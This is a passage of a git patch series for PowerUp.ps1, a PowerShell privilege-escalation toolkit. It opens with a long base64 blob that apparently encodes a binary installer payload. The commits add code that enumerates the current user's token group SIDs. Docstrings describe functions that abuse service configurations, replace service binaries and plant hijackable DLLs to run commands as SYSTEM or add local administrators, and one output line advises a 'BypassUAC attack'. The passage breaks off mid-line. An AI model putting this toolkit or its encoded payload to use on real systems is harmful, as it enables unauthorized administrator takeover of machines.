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VyZXNQdWJsaXNoUHJvZHVjdGJ6LldyYXBwZWRTZXR1cFByb2dyYW1iei5DdXN0b21BY3Rpb25EbGxiei5Qcm9kdWN0Q29tcG9uZW50e0VERTEwRjZDLTMwRjQtNDJDQS1CNUM3LUFEQjkwNUU0NUJGQ31CWi5JTlNUQUxMRk9MREVScmVnOUNBRTU3QUY3QjlGQjRFRjI3MDZGOTVCNEI4M0I0MTlTZXRQcm9wZXJ0eUZvckRlZmVycmVkYnouTW9kaWZ5UmVnaXN0cnlbQlouV1JBUFBFRF9BUFBJRF1iei5TdWJzdFdyYXBwZWRBcmd1bWVudHNfU3Vic3RXcmFwcGVkQXJndW1lbnRzQDRiei5SdW5XcmFwcGVkU2V0dXBbYnouU2V0dXBTaXplXSAiW1NvdXJjZURpcl1cLiIgW0JaLklOU1RBTExfU1VDQ0VTU19DT0RFU10gKltCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UU11bV1JBUFBFRF9BUkdVTUVOVFNdX01vZGlmeVJlZ2lzdHJ5QDRiei5Vbmluc3RhbGxXcmFwcGVkX1VuaW5zdGFsbFdyYXBwZWRANFByb2dyYW1GaWxlc0ZvbGRlcmJ4anZpbHc3fFtCWi5DT01QQU5ZTkFNRV1UQVJHRVRESVIuU291cmNlRGlyUHJvZHVjdEZlYXR1cmVNYWluIEZlYXR1cmVQcm9kdWN0SWNvbkZpbmRSZWxhdGVkUHJvZHVjdHNMYXVuY2hDb25kaXRpb25zVmFsaWRhdGVQcm9kdWN0SURNaWdyYXRlRmVhdHVyZVN0YXRlc1Byb2Nlc3NDb21wb25lbnRzVW5wdWJsaXNoRmVhdHVyZXNSZW1vdmVSZWdpc3RyeVZhbHVlc1dyaXRlUmVnaXN0cnlWYWx1ZXNSZWdpc3RlclVzZXJSZWdpc3RlclByb2R1Y3RSZW1vdmVFeGlzdGluZ1Byb2R1Y3RzTk9UIFJFTU9WRSB+PSJBTEwiIEFORCBOT1QgVVBHUkFERVBST0RVQ1RDT0RFUkVNT1ZFIH49ICJBTEwiIEFORCBOT1QgVVBHUkFESU5HUFJPRFVDVENPREVOT1QgV0lYX0RPV05HUkFERV9ERVRFQ1RFRERvd25ncmFkZXMgYXJlIG5vdCBhbGxvd2VkLkFMTFVTRVJTMUFSUE5PUkVQQUlSQVJQTk9NT0RJRllBUlBQUk9EVUNUSUNPTkFSUEhFTFBMSU5LaHR0cDovL3d3dy5leGVtc2kuY29tQVJQVVJMSU5GT0FCT1VUQVJQQ09NTUVOVFNNU0kgVGVtcGxhdGUuQVJQQ09OVEFDVE15IGNvbnRhY3QgaW5mb3JtYXRpb24uQVJQVVJMVVBEQVRFSU5GT015IHVwZGF0ZSBpbmZvcm1hdGlvbi5CWi5WRVJGQlouV1JBUFBFRF9BUFBJRHs1NjYyODkxMi04RUQ0LTQ4RUYtQUM1Mi1FRTgzQTFCRkJGMTF9X2lzMUJaLkNPTVBBTllOQU1FRVhFTVNJLkNPTUJaLklOU1RBTExfU1VDQ0VTU19DT0RFUzBCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UUy9TSUxFTlQgQlouVUlOT05FX0lOU1RBTExfQVJHVU1FTlRTIEJaLlVJQkFTSUNfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUZVTExfSU5TVEFMTF9BUkdVTUVOVFNCWi5GSVhFRF9VTklOU1RBTExfQVJHVU1FTlRTQlouVUlOT05FX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUJBU0lDX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfVU5JTlNUQUxMX0FSR1VNRU5UU0JaLlVJRlVMTF9VTklOU1RBTExfQVJHVU1FTlRTYnouU2V0dXBTaXplMjMyOTYwTWFudWZhY3R1cmVyUHJvZHVjdENvZGV7MjcxQkJDRUQtRjM2QS00RThFLUE1NzYtOTQ1NUYwQ0EwMUE4fVByb2R1Y3RMYW5ndWFnZTEwMzNQcm9kdWN0TmFtZU1TSSBXcmFwcGVyIFRlbXBsYXRlUHJvZHVjdFZlcnNpb24xLjAuMC4we0NDMDM1QzE4LTBGQzctNDcwOC04ODA2LUQ0QjA5MUU1OUFBN31TZWN1cmVDdXN0b21Qcm9wZXJ0aWVzV0lYX0RPV05HUkFERV9ERVRFQ1RFRDtXSVhfVVBHUkFERV9ERVRFQ1RFRFNPRlRXQVJFXFtCWi5DT01QQU5ZTkFNRV1cTVNJIFdyYXBwZXJcSW5zdGFsbGVkXFtCWi5XUkFQUEVEX0FQUElEXUxvZ29uVXNlcltMb2dv" @@ -3715,3 +3567,40 @@ function Invoke-AllChecks { "[*] Report written to '$HtmlReportFile' `n" } } + + +# PSReflect signature specifications +$Module = New-InMemoryModule -ModuleName PowerUpModule + +$FunctionDefinitions = @( + (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError) + (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode) + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) +) + +# https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +$ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ + QueryConfig = 0x00000001 + ChangeConfig = 0x00000002 + QueryStatus = 0x00000004 + EnumerateDependents = 0x00000008 + Start = 0x00000010 + Stop = 0x00000020 + PauseContinue = 0x00000040 + Interrogate = 0x00000080 + UserDefinedControl = 0x00000100 + Delete = 0x00010000 + ReadControl = 0x00020000 + WriteDac = 0x00040000 + WriteOwner = 0x00080000 + Synchronize = 0x00100000 + AccessSystemSecurity = 0x01000000 + GenericAll = 0x10000000 + GenericExecute = 0x20000000 + GenericWrite = 0x40000000 + GenericRead = 0x80000000 + AllAccess = 0x000F01FF +} -Bitfield + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' +$Advapi32 = $Types['advapi32'] From 09d253f0700e637b410dbab26de037f1317d0401 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 3 Jun 2016 22:43:12 -0400 Subject: [PATCH 151/296] Added Get-CurrentUserTokenGroupSid to enumerate all group SIDs the current user is a part of, regardless of being disabled. Replaced 'whoami /groups' local admin + medium integrity check with comparison against Get-CurrentUserTokenGroupSid --- Privesc/PowerUp.ps1 | 96 ++++++++++++++++++++++++++++++++++++++++++-- Privesc/Privesc.psd1 | 1 + Privesc/README.md | 1 + 3 files changed, 94 insertions(+), 4 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index f463599f..16d247a8 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -880,6 +880,78 @@ function Get-ModifiablePath { } +function Get-CurrentUserTokenGroupSid { +<# + .SYNOPSIS + + Returns all SIDs that the current user is a part of, whether they are disabled or not. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds + this to OpenProcessToken() to open up a handle to the current process token. The API call + GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process + token. Each group is iterated through and the SID structure is converted to a readable + string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of + (disabled or not) is returned as a string array. + + .LINK + + https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx + https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx + https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx +#> + + $CurrentProcess = $Kernel32::GetCurrentProcess() + + # TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) + $TOKEN_READ = 0x00020008 + + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_READ, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Success) { + + $TokenGroupsPtrSize = $TOKEN_GROUPS::GetSize() + + [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) + + [UInt32]$RealSize = 0 + + # query the TokenGroups information (2) structure for the current thred token + $Success2 = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Success2) { + + $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS + + $TokenGroups.Groups | Where-Object {$_.SID} | Foreach-Object { + # convert each SID structure to a SID string we can decode + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($_.SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $SidString + } + } | Where-Object {$_ -and ($_ -ne '')} | Sort-Object -Unique + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } +} + + function Add-ServiceDacl { <# .SYNOPSIS @@ -3447,13 +3519,14 @@ function Invoke-AllChecks { else{ "`n`n[*] Checking if user is in a local group with administrative privileges..." - if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ){ + $CurrentUserSids = Get-CurrentUserTokenGroupSid + if($CurrentUserSids -contains 'S-1-5-32-544') { "[+] User is in a local group that grants administrative privileges!" "[+] Run a BypassUAC attack to elevate privileges to admin." if($HTMLReport) { ConvertTo-HTML -Head $Header -Body "

    User In Local Group With Adminisrtative Privileges

    " | Out-File -Append $HtmlReportFile - } + } } } @@ -3573,8 +3646,12 @@ function Invoke-AllChecks { $Module = New-InMemoryModule -ModuleName PowerUpModule $FunctionDefinitions = @( - (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError) - (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode) + (func kernel32 GetCurrentProcess ([IntPtr]) @()) + (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError) + (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError), + (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode), (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) ) @@ -3602,5 +3679,16 @@ $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ AllAccess = 0x000F01FF } -Bitfield +$SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ + Sid = field 0 IntPtr + Attributes = field 1 UInt32 +} + +$TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{ + GroupCount = field 0 UInt32 + Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32) +} + $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' $Advapi32 = $Types['advapi32'] +$Kernel32 = $Types['kernel32'] diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index fe964a3a..e4222bfb 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -27,6 +27,7 @@ FunctionsToExport = @( 'Find-PathHijack', 'Find-ProcessDLLHijack', 'Get-ApplicationHost', + 'Get-CurrentUserTokenGroupSid', 'Get-ModifiablePath', 'Get-ModifiableScheduledTaskFile', 'Get-ModifiableService', diff --git a/Privesc/README.md b/Privesc/README.md index 66a77306..8e4b75da 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -58,6 +58,7 @@ Optional Dependencies: None ### Other Helpers/Meta-Functions: Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify + Get-CurrentUserTokenGroupSid - returns all SIDs that the current user is a part of, whether they are disabled or not Add-ServiceDacl - adds a Dacl field to a service object returned by Get-Service Set-ServiceBinPath - sets the binary path for a service to a specified value through Win32 API methods Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set From 1f926e7fd61b588755a58fe0473fa76f11716e5d Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 3 Jun 2016 23:37:52 -0400 Subject: [PATCH 152/296] Added SidAttributes enum, Get-CurrentUserTokenGroupSid now returns an object with SID and attributes fields --- Privesc/PowerUp.ps1 | 70 ++++++++++++++++++++++++++++----------------- 1 file changed, 43 insertions(+), 27 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 16d247a8..3f94ecf1 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -900,11 +900,14 @@ function Get-CurrentUserTokenGroupSid { .LINK - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx + https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx #> + [CmdletBinding()] + Param() + $CurrentProcess = $Kernel32::GetCurrentProcess() # TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) @@ -916,7 +919,7 @@ function Get-CurrentUserTokenGroupSid { if($Success) { $TokenGroupsPtrSize = $TOKEN_GROUPS::GetSize() - + [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) [UInt32]$RealSize = 0 @@ -928,17 +931,19 @@ function Get-CurrentUserTokenGroupSid { $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS - $TokenGroups.Groups | Where-Object {$_.SID} | Foreach-Object { - # convert each SID structure to a SID string we can decode + For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) { $SidString = '' - $Result = $Advapi32::ConvertSidToStringSid($_.SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Result -eq 0) { Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { - $SidString + $GroupSid = New-Object PSObject + $GroupSid | Add-Member Noteproperty 'SID' $SidString + $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) + $GroupSid } - } | Where-Object {$_ -and ($_ -ne '')} | Sort-Object -Unique + } } else { Write-Warning ([ComponentModel.Win32Exception] $LastError) @@ -1195,10 +1200,10 @@ function Test-ServiceDaclPermission { .DESCRIPTION - Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds + Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current user are enumerated services where the user has some type of permission are filtered. The - services are then filtered against a specified set of permissions, and services where the + services are then filtered against a specified set of permissions, and services where the current user have the specified permissions are returned. .PARAMETER Name @@ -1508,7 +1513,7 @@ function Get-ServiceDetail { .DESCRIPTION - Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on + Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on the pipeline object returned by Get-Service, extracts out the service name, queries the WMI win32_service class for the specified service for details like binPath, and outputs everything. @@ -1576,11 +1581,11 @@ function Invoke-ServiceAbuse { .DESCRIPTION - Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current + Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current user has configuration modification rights on and executes a series of automated actions to - execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the - original service binary path and configuration state are preserved. Then the service is stopped - and the Set-ServiceBinPath function is used to set the binary (binPath) for the service to a + execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the + original service binary path and configuration state are preserved. Then the service is stopped + and the Set-ServiceBinPath function is used to set the binary (binPath) for the service to a series of commands, the service is started, stopped, and the next command is configured. After completion, the original service configuration is restored and a custom object is returned that captures the service abused and commands run. @@ -1803,7 +1808,7 @@ function Write-ServiceBinary { patched in creates a local user and adds them to the specified -LocalGroup, otherwise the specified -Command is patched in. The binary is then written out to the specified -ServicePath. Either -Name must be specified for the service, or a proper object from - Get-Service must be passed on the pipeline in order to patch in the appropriate service + Get-Service must be passed on the pipeline in order to patch in the appropriate service name the binary will be running under. .PARAMETER Name @@ -1969,9 +1974,9 @@ function Install-ServiceBinary { .DESCRIPTION - Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the - current user can modify the associated service binary listed in the binPath. Backs up - the original service binary to "OriginalService.exe.bak" in service binary location, + Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the + current user can modify the associated service binary listed in the binPath. Backs up + the original service binary to "OriginalService.exe.bak" in service binary location, and then uses Write-ServiceBinary to create a C# service binary that either adds a local administrator user or executes a custom command. The new service binary is replaced in the original service binary path, and a custom object is returned that @@ -2387,15 +2392,15 @@ function Write-HijackDll { <# .SYNOPSIS - Patches in the path to a specified .bat (containing the specified command) into a + Patches in the path to a specified .bat (containing the specified command) into a pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. .DESCRIPTION First builds a self-deleting .bat file that executes the specified -Command or local user, - to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled - C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for - x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then + to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled + C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for + x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then written out to the specified OutputFile. .PARAMETER DllPath @@ -2712,7 +2717,7 @@ function Get-RegistryAutoLogon { function Get-RegistryAutoRun { <# .SYNOPSIS - + Returns any elevated system autoruns in which the current user can modify part of the path string. @@ -2731,7 +2736,7 @@ function Get-RegistryAutoRun { [CmdletBinding()] Param() - + $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", @@ -2785,7 +2790,7 @@ function Get-ModifiableScheduledTaskFile { Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" and parses the XML specification for each task, extracting the command triggers. - Each trigger string is filtered through Get-ModifiablePath, returning any file/config + Each trigger string is filtered through Get-ModifiablePath, returning any file/config locations in the found path strings that the current user can modify. .EXAMPLE @@ -3519,14 +3524,14 @@ function Invoke-AllChecks { else{ "`n`n[*] Checking if user is in a local group with administrative privileges..." - $CurrentUserSids = Get-CurrentUserTokenGroupSid + $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID if($CurrentUserSids -contains 'S-1-5-32-544') { "[+] User is in a local group that grants administrative privileges!" "[+] Run a BypassUAC attack to elevate privileges to admin." if($HTMLReport) { ConvertTo-HTML -Head $Header -Body "

    User In Local Group With Adminisrtative Privileges

    " | Out-File -Append $HtmlReportFile - } + } } } @@ -3679,6 +3684,17 @@ $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ AllAccess = 0x000F01FF } -Bitfield +$SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{ + SE_GROUP_ENABLED = 0x00000004 + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 + SE_GROUP_INTEGRITY = 0x00000020 + SE_GROUP_INTEGRITY_ENABLED = 0xC0000000 + SE_GROUP_MANDATORY = 0x00000001 + SE_GROUP_OWNER = 0x00000008 + SE_GROUP_RESOURCE = 0x20000000 + SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010 +} -Bitfield + $SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ Sid = field 0 IntPtr Attributes = field 1 UInt32 From 83d1413acdbb5b1cb88c7c9825a0f64373f0696c Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 17:46:43 -0400 Subject: [PATCH 153/296] -Enum specification bug fix -Additional error checking and documentation -OpenProcessToken() call now uses TOKEN_QUERY instead of TOKEN_READ --- Privesc/PowerUp.ps1 | 132 +++++++++++++++++++++++--------------------- 1 file changed, 70 insertions(+), 62 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 3f94ecf1..6e473d63 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -910,11 +910,11 @@ function Get-CurrentUserTokenGroupSid { $CurrentProcess = $Kernel32::GetCurrentProcess() - # TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) - $TOKEN_READ = 0x00020008 + $TOKEN_QUERY= 0x0008 + # open up a pseudo handle to the current process- don't need to worry about closing [IntPtr]$hProcToken = [IntPtr]::Zero - $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_READ, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success) { @@ -924,7 +924,7 @@ function Get-CurrentUserTokenGroupSid { [UInt32]$RealSize = 0 - # query the TokenGroups information (2) structure for the current thred token + # query the current process token with the 'TokenGroups=' constant to retrieve a TOKEN_GROUPS structure $Success2 = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = 